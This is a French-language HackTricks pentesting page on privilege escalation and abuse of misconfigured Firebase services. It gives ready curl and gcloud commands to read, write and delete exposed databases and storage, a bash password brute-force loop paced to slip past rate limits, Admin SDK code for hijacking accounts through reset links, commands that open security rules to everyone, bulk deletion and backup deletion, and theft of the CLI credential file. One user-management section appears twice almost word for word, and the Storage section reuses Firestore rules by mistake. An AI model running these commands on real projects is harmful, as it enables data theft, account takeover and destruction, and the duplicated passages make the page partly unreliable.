GCP - Firebase Privesc

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks

Firebase

AccÚs non authentifié à Firebase Realtime Database

Un attaquant n’a besoin d’aucune permission Firebase spĂ©cifique pour rĂ©aliser cette attaque. Il suffit qu’il y ait une configuration vulnĂ©rable dans les rĂšgles de sĂ©curitĂ© de la Firebase Realtime Database, oĂč les rĂšgles sont dĂ©finies avec .read: true ou .write: true, permettant un accĂšs public en lecture ou en Ă©criture.

L’attaquant doit identifier l’URL de la base de donnĂ©es, qui suit gĂ©nĂ©ralement le format : https://<project-id>.firebaseio.com/.

Cette URL peut ĂȘtre trouvĂ©e via mobile application reverse engineering (decompiling Android APKs or analyzing iOS apps), en analysant des fichiers de configuration tels que google-services.json (Android) ou GoogleService-Info.plist (iOS), en inspectant le code source des applications web, ou en examinant le trafic rĂ©seau pour repĂ©rer des requĂȘtes vers des domaines *.firebaseio.com.

L’attaquant identifie l’URL de la base de donnĂ©es et vĂ©rifie si elle est exposĂ©e publiquement, puis accĂšde aux donnĂ©es et peut potentiellement Ă©crire des informations malveillantes.

D’abord, il vĂ©rifie si la base de donnĂ©es autorise l’accĂšs en lecture en ajoutant .json Ă  l’URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Si la rĂ©ponse contient des donnĂ©es JSON ou null (au lieu de “Permission Denied”), la base de donnĂ©es autorise l’accĂšs en lecture. Pour vĂ©rifier l’accĂšs en Ă©criture, l’attaquant peut tenter d’envoyer une requĂȘte de test d’écriture en utilisant le Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Si l’opĂ©ration rĂ©ussit, la base de donnĂ©es permet Ă©galement l’accĂšs en Ă©criture.

Exposition des données dans Cloud Firestore

Un attaquant n’a pas besoin de permissions Firebase spĂ©cifiques pour mener cette attaque. Il suffit qu’il y ait une configuration vulnĂ©rable dans les rĂšgles de sĂ©curitĂ© de Cloud Firestore oĂč les rĂšgles autorisent l’accĂšs en lecture ou en Ă©criture sans authentification ou avec une validation insuffisante. Un exemple de rĂšgle mal configurĂ©e qui accorde un accĂšs total est :

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Cette rĂšgle permet Ă  quiconque de lire et d’écrire tous les documents sans aucune restriction.
Les rĂšgles Firestore sont granulaires et s’appliquent par collection et par document ; une erreur dans une rĂšgle spĂ©cifique peut donc n’exposer que certaines collections.

L’attaquant doit identifier le Firebase Project ID, qui peut ĂȘtre trouvĂ© via mobile app reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source d’applications web, ou l’analyse du trafic rĂ©seau pour identifier des requĂȘtes vers firestore.googleapis.com.
L’API REST Firestore utilise le format :

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Si les rĂšgles permettent un accĂšs en lecture non authentifiĂ©, l’attaquant peut lire les collections et les documents. D’abord, il tente d’accĂ©der Ă  une collection spĂ©cifique :

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Si la rĂ©ponse contient des documents JSON au lieu d’une erreur d’autorisation, la collection est exposĂ©e. L’attaquant peut Ă©numĂ©rer toutes les collections accessibles en essayant des noms courants ou en analysant la structure de l’application. Pour accĂ©der Ă  un document spĂ©cifique :

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Si les rĂšgles permettent un accĂšs en Ă©criture non authentifiĂ© ou n’ont pas de validation suffisante, l’attaquant peut crĂ©er de nouveaux documents :

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Pour modifier un document existant, il faut utiliser PATCH :

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Pour supprimer un document et provoquer un déni de service :

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Exposition de fichiers dans Firebase Storage

Un attaquant n’a pas besoin d’autorisations Firebase spĂ©cifiques pour mener cette attaque. Il suffit qu’il y ait une configuration vulnĂ©rable dans les rĂšgles de sĂ©curitĂ© de Firebase Storage oĂč les rĂšgles autorisent l’accĂšs en lecture ou en Ă©criture sans authentification ou avec une validation insuffisante. Les rĂšgles de Storage contrĂŽlent indĂ©pendamment les permissions de lecture et d’écriture, donc une erreur dans une rĂšgle peut exposer uniquement l’accĂšs en lecture, uniquement l’accĂšs en Ă©criture, ou les deux. Un exemple de rĂšgle mal configurĂ©e qui accorde un accĂšs complet est :

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Cette rĂšgle permet un accĂšs en lecture et Ă©criture Ă  tous les documents sans aucune restriction. Les rĂšgles de Firestore sont granulaires et s’appliquent par collection et par document, donc une erreur dans une rĂšgle spĂ©cifique peut n’exposer que certaines collections. L’attaquant doit identifier le Firebase Project ID, qui peut ĂȘtre trouvĂ© via mobile application reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source de l’application web, ou l’analyse du trafic rĂ©seau pour identifier des requĂȘtes vers firestore.googleapis.com. L’API REST de Firestore utilise le format:https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Si les rĂšgles autorisent l’accĂšs en lecture non authentifiĂ©, l’attaquant peut lire des collections et des documents. D’abord, il tente d’accĂ©der Ă  une collection spĂ©cifique.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Si la rĂ©ponse contient la liste des fichiers au lieu d’une erreur d’autorisation, les fichiers sont exposĂ©s. L’attaquant peut voir le contenu des fichiers en spĂ©cifiant leur chemin :

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Si les rĂšgles permettent un accĂšs en Ă©criture non authentifiĂ© ou si la validation est insuffisante, un attaquant peut tĂ©lĂ©verser des fichiers malveillants. Pour tĂ©lĂ©verser un fichier via l’API REST :

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

L’attaquant peut uploader des code shells, des malware payloads ou de gros fichiers pour provoquer un denial of service. Si l’application traite ou exĂ©cute les fichiers uploadĂ©s, l’attaquant peut obtenir un remote code execution. Pour supprimer des fichiers et provoquer un denial of service :

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Invocation de Firebase Cloud Functions publiques

Un attaquant n’a pas besoin de permissions Firebase spĂ©cifiques pour exploiter ce problĂšme ; il suffit qu’une Cloud Function soit accessible publiquement via HTTP sans authentification.

Une fonction est vulnĂ©rable lorsqu’elle est mal configurĂ©e :

  • Elle utilise functions.https.onRequest, qui n’applique pas d’authentification (contrairement aux onCall functions).
  • Le code de la fonction ne valide pas l’authentification de l’utilisateur (par ex., aucune vĂ©rification de request.auth ou context.auth).
  • La fonction est accessible publiquement via IAM, c’est-Ă -dire que allUsers possĂšde le rĂŽle roles/cloudfunctions.invoker. C’est le comportement par dĂ©faut pour les fonctions HTTP sauf si le dĂ©veloppeur restreint l’accĂšs.

Firebase HTTP Cloud Functions sont exposées via des URLs telles que :

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Un attaquant peut dĂ©couvrir ces URLs via l’analyse du code source, l’inspection du trafic rĂ©seau, des outils d’énumĂ©ration, ou le reverse engineering d’applications mobiles. Si la fonction est exposĂ©e publiquement et non authentifiĂ©e, l’attaquant peut l’invoquer directement sans identifiants.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Si la fonction ne valide pas correctement les entrĂ©es, l’attaquant peut tenter d’autres attaques telles que code injection ou command injection.

Attaque par Brute-force contre Firebase Authentication avec une politique de mot de passe faible

Un attaquant n’a pas besoin de permissions Firebase spĂ©cifiques pour rĂ©aliser cette attaque. Il suffit que la Firebase API Key soit exposĂ©e dans des applications mobiles ou web, et que la politique de mot de passe n’ait pas Ă©tĂ© configurĂ©e avec des exigences plus strictes que les valeurs par dĂ©faut.

L’attaquant doit identifier la Firebase API Key, qui peut ĂȘtre trouvĂ©e via mobile app reverse engineering, l’analyse de fichiers de configuration tels que google-services.json ou GoogleService-Info.plist, l’inspection du code source d’applications web (p. ex., dans bootstrap.js), ou l’analyse du trafic rĂ©seau.

La REST API de Firebase Authentication utilise l’endpoint : https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> pour s’authentifier avec un email et un mot de passe.

Si Email Enumeration Protection est dĂ©sactivĂ©e, les rĂ©ponses d’erreur de l’API peuvent rĂ©vĂ©ler si un email existe dans le systĂšme (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), ce qui permet aux attaquants d’énumĂ©rer les utilisateurs avant d’essayer des mots de passe. Lorsque cette protection est activĂ©e, l’API renvoie le mĂȘme message d’erreur pour les emails inexistants et les mots de passe incorrects, empĂȘchant l’énumĂ©ration des utilisateurs.

Il est important de noter que Firebase Authentication applique du rate limiting, ce qui peut bloquer les requĂȘtes si trop de tentatives d’authentification surviennent en peu de temps. Pour cette raison, un attaquant devra introduire des dĂ©lais entre les tentatives pour Ă©viter d’ĂȘtre rate-limited.

L’attaquant identifie l’API Key et effectue des tentatives d’authentification avec plusieurs mots de passe contre des comptes connus. Si Email Enumeration Protection est dĂ©sactivĂ©e, l’attaquant peut Ă©numĂ©rer les utilisateurs existants en analysant les rĂ©ponses d’erreur :

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Si la rĂ©ponse contient EMAIL_NOT_FOUND, l’adresse e-mail n’existe pas dans le systĂšme. Si elle contient INVALID_PASSWORD, l’adresse e-mail existe mais le mot de passe est incorrect, ce qui confirme que l’utilisateur est enregistrĂ©. Une fois qu’un utilisateur valide est identifiĂ©, l’attaquant peut effectuer des tentatives de brute-force. Il est important d’inclure des pauses entre les tentatives pour Ă©viter les mĂ©canismes de limitation de dĂ©bit de Firebase Authentication :

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

Avec la politique de mot de passe par dĂ©faut (minimum 6 caractĂšres, sans exigences de complexitĂ©), l’attaquant peut essayer toutes les combinaisons possibles de mots de passe Ă  6 caractĂšres, ce qui reprĂ©sente un espace de recherche relativement petit comparĂ© Ă  des politiques de mot de passe plus strictes.

Gestion des utilisateurs dans Firebase Authentication

L’attaquant a besoin de permissions spĂ©cifiques de Firebase Authentication pour mener cette attaque. Les permissions requises sont :

  • firebaseauth.users.create pour crĂ©er des utilisateurs
  • firebaseauth.users.update pour modifier des utilisateurs existants
  • firebaseauth.users.delete pour supprimer des utilisateurs
  • firebaseauth.users.get pour rĂ©cupĂ©rer des informations utilisateur
  • firebaseauth.users.sendEmail pour envoyer des emails aux utilisateurs
  • firebaseauth.users.createSession pour crĂ©er des sessions utilisateur

Ces permissions sont incluses dans le rÎle roles/firebaseauth.admin, qui accorde un accÚs complet en lecture/écriture aux ressources Firebase Authentication. Elles sont également incluses dans des rÎles de niveau supérieur tels que roles/firebase.developAdmin (qui inclut toutes les permissions firebaseauth.*) et roles/firebase.admin (accÚs complet à tous les services Firebase).

Pour utiliser le Firebase Admin SDK, l’attaquant aurait besoin d’accĂšs aux identifiants de compte de service (fichier JSON), qui peuvent se trouver sur des systĂšmes compromis, des dĂ©pĂŽts de code exposĂ©s publiquement, des systĂšmes CI/CD compromis, ou via la compromission de comptes de dĂ©veloppeurs ayant accĂšs Ă  ces identifiants.

La premiÚre étape consiste à configurer le Firebase Admin SDK en utilisant les identifiants de compte de service.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Pour crĂ©er un utilisateur malveillant en utilisant l’adresse e-mail d’une victime, l’attaquant tenterait d’utiliser le Firebase Admin SDK pour gĂ©nĂ©rer un nouveau compte avec cette adresse e-mail.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Pour modifier un utilisateur existant, l’attacker mettrait Ă  jour des champs tels que l’adresse e-mail, le statut de vĂ©rification ou si le compte est dĂ©sactivĂ©.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Pour supprimer un compte utilisateur et provoquer un dĂ©ni de service, l’attaquant enverrait une requĂȘte visant Ă  supprimer entiĂšrement l’utilisateur.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaquant peut Ă©galement rĂ©cupĂ©rer des informations sur des utilisateurs existants en demandant leur UID ou leur adresse e-mail.

user = auth.get_user(uid)
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')

De plus, l’attaquant pourrait gĂ©nĂ©rer des liens de vĂ©rification ou des liens de rĂ©initialisation de mot de passe afin de changer le mot de passe d’un utilisateur et d’accĂ©der Ă  son compte.

link = auth.generate_email_verification_link(email)
print(f'Link de verificaciĂłn: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Gestion des utilisateurs dans Firebase Authentication

Un attaquant a besoin de permissions spécifiques de Firebase Authentication pour mener cette attaque. Les permissions requises sont :

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to obtain user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

Ces permissions sont incluses dans le rÎle roles/firebaseauth.admin, qui accorde un accÚs complet en lecture/écriture aux ressources Firebase Authentication. Elles font également partie de rÎles de niveau supérieur tels que roles/firebase.developAdmin (qui inclut toutes les permissions firebaseauth.*) et roles/firebase.admin (accÚs complet à tous les services Firebase).

Pour utiliser le Firebase Admin SDK, l’attaquant devrait avoir accĂšs aux service account credentials (un JSON file), qui pourraient ĂȘtre obtenus depuis des systĂšmes compromis, des dĂ©pĂŽts de code publiquement exposĂ©s, des environnements CI/CD compromis, ou via la compromission de comptes dĂ©veloppeur ayant accĂšs Ă  ces credentials.

La premiÚre étape consiste à configurer le Firebase Admin SDK en utilisant les service account credentials.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Pour crĂ©er un utilisateur malveillant en utilisant l’adresse e-mail d’une victime, l’attaquant tenterait de crĂ©er un nouveau compte utilisateur avec cette adresse, en lui assignant son propre mot de passe et ses informations de profil.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Pour modifier un utilisateur existant, l’attacker modifierait des champs tels que l’adresse e-mail, le statut de vĂ©rification ou si le compte est dĂ©sactivĂ©.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Pour supprimer un compte utilisateur — provoquant effectivement un dĂ©ni de service — l’attaquant Ă©mettrait une requĂȘte pour supprimer dĂ©finitivement cet utilisateur.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

L’attaquant pourrait Ă©galement rĂ©cupĂ©rer des informations sur des utilisateurs existants, telles que leur UID ou leur email, en demandant les dĂ©tails de l’utilisateur soit par UID soit par adresse email.

user = auth.get_user(uid)
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'InformaciĂłn del usuario: {user.uid}, {user.email}')

De plus, l’attaquant pourrait gĂ©nĂ©rer des liens de vĂ©rification ou des liens de rĂ©initialisation de mot de passe, lui permettant de changer le mot de passe d’un utilisateur et de prendre le contrĂŽle du compte.

link = auth.generate_email_verification_link(email)
print(f'Link de verificaciĂłn: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modification des rÚgles de sécurité dans les services Firebase

L’attaquant a besoin de permissions spĂ©cifiques pour modifier les rĂšgles de sĂ©curitĂ© selon le service. Pour Cloud Firestore et Firebase Cloud Storage, les permissions requises sont firebaserules.rulesets.create pour crĂ©er des rulesets et firebaserules.releases.create pour dĂ©ployer des releases. Ces permissions sont incluses dans le rĂŽle roles/firebaserules.admin ou dans des rĂŽles de niveau supĂ©rieur tels que roles/firebase.developAdmin et roles/firebase.admin. Pour Firebase Realtime Database, la permission requise est firebasedatabase.instances.update.

L’attaquant doit utiliser le Firebase REST API pour modifier les rĂšgles de sĂ©curitĂ©. D’abord, l’attaquant devra obtenir un access token en utilisant service account credentials. Pour obtenir le token :

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Pour modifier les rĂšgles de Firebase Realtime Database :

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Pour modifier les rĂšgles de Cloud Firestore, l’attaquant doit crĂ©er un ruleset puis le dĂ©ployer :

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

La commande prĂ©cĂ©dente renvoie un nom de ruleset au format projects//rulesets/. Pour dĂ©ployer la nouvelle version, la release doit ĂȘtre mise Ă  jour en utilisant une requĂȘte PATCH :

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Pour modifier les rĂšgles de Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

La commande prĂ©cĂ©dente renvoie un nom de ruleset au format projects//rulesets/. Pour dĂ©ployer la nouvelle version, la release doit ĂȘtre mise Ă  jour en utilisant une requĂȘte PATCH :

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore utilise la mĂȘme infrastructure et le mĂȘme systĂšme de permissions que Cloud Datastore, donc les permissions IAM de Datastore s’appliquent directement Ă  Firestore. Pour manipuler les politiques TTL, la permission datastore.indexes.update est requise. Pour exporter des donnĂ©es, la permission datastore.databases.export est requise. Pour importer des donnĂ©es, la permission datastore.databases.import est requise. Pour effectuer une suppression massive de donnĂ©es, la permission datastore.databases.bulkDelete est requise.

Pour les opérations de sauvegarde et de restauration, des autorisations spécifiques sont nécessaires :

  • datastore.backups.get and datastore.backups.list pour lister et rĂ©cupĂ©rer les dĂ©tails des sauvegardes disponibles
  • datastore.backups.delete pour supprimer des sauvegardes
  • datastore.backups.restoreDatabase pour restaurer une base de donnĂ©es Ă  partir d’une sauvegarde
  • datastore.backupSchedules.create and datastore.backupSchedules.delete pour gĂ©rer les planifications de sauvegarde

Lorsqu’une politique TTL est créée, une propriĂ©tĂ© dĂ©signĂ©e est sĂ©lectionnĂ©e pour identifier les entitĂ©s Ă©ligibles Ă  la suppression. Cette propriĂ©tĂ© TTL doit ĂȘtre de type Date et heure. L’attaquant peut choisir une propriĂ©tĂ© existante ou dĂ©signer une propriĂ©tĂ© qu’il prĂ©voit d’ajouter ultĂ©rieurement. Si la valeur du champ est une date passĂ©e, le document devient Ă©ligible Ă  une suppression immĂ©diate. L’attaquant peut utiliser le gcloud CLI pour manipuler les politiques TTL.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Pour exporter des donnĂ©es et exfiltrate celles-ci, l’attaquant pourrait utiliser le gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Pour importer des données malveillantes :

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Pour effectuer une suppression massive de donnĂ©es et provoquer un denial of service, l’attaquant pourrait utiliser l’outil gcloud Firestore bulk-delete pour supprimer des collections entiĂšres.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

Pour les opĂ©rations de backup et de restauration, l’attaquant peut crĂ©er des scheduled backups pour capturer l’état actuel de la base de donnĂ©es, lister les backups existants, restaurer depuis un backup pour Ă©craser des modifications rĂ©centes, supprimer des backups pour provoquer une perte de donnĂ©es permanente, et supprimer les scheduled backups. Pour crĂ©er un calendrier de backup quotidien qui gĂ©nĂšre immĂ©diatement un backup :

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Pour restaurer Ă  partir d’une sauvegarde spĂ©cifique, l’attaquant pourrait crĂ©er une nouvelle base de donnĂ©es en utilisant les donnĂ©es contenues dans cette sauvegarde. L’opĂ©ration de restauration Ă©crit les donnĂ©es de la sauvegarde dans une nouvelle base de donnĂ©es, ce qui signifie qu’un DATABASE_ID existant ne peut pas ĂȘtre utilisĂ©.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Pour supprimer une sauvegarde et provoquer une perte de données permanente :

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Vol et mauvaise utilisation des identifiants Firebase CLI

Un attaquant n’a pas besoin de permissions Firebase spĂ©cifiques pour rĂ©aliser cette attaque, mais il doit avoir accĂšs au systĂšme local du dĂ©veloppeur ou au fichier d’identifiants Firebase CLI. Ces identifiants sont stockĂ©s dans un fichier JSON situĂ© Ă  :

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Ce fichier contient des tokens d’authentification, notamment refresh_token et access_token, qui permettent Ă  l’attaquant de s’authentifier en tant qu’utilisateur ayant exĂ©cutĂ© firebase login.

L’attaquant obtient l’accĂšs au fichier d’identifiants Firebase CLI. Il peut ensuite copier l’ensemble du fichier sur son propre systĂšme, et la Firebase CLI utilisera automatiquement les identifiants depuis son emplacement par dĂ©faut. AprĂšs cela, l’attaquant pourra voir tous les projets Firebase accessibles Ă  cet utilisateur.

firebase projects:list

Tip

Apprenez & pratiquez AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Soutenez HackTricks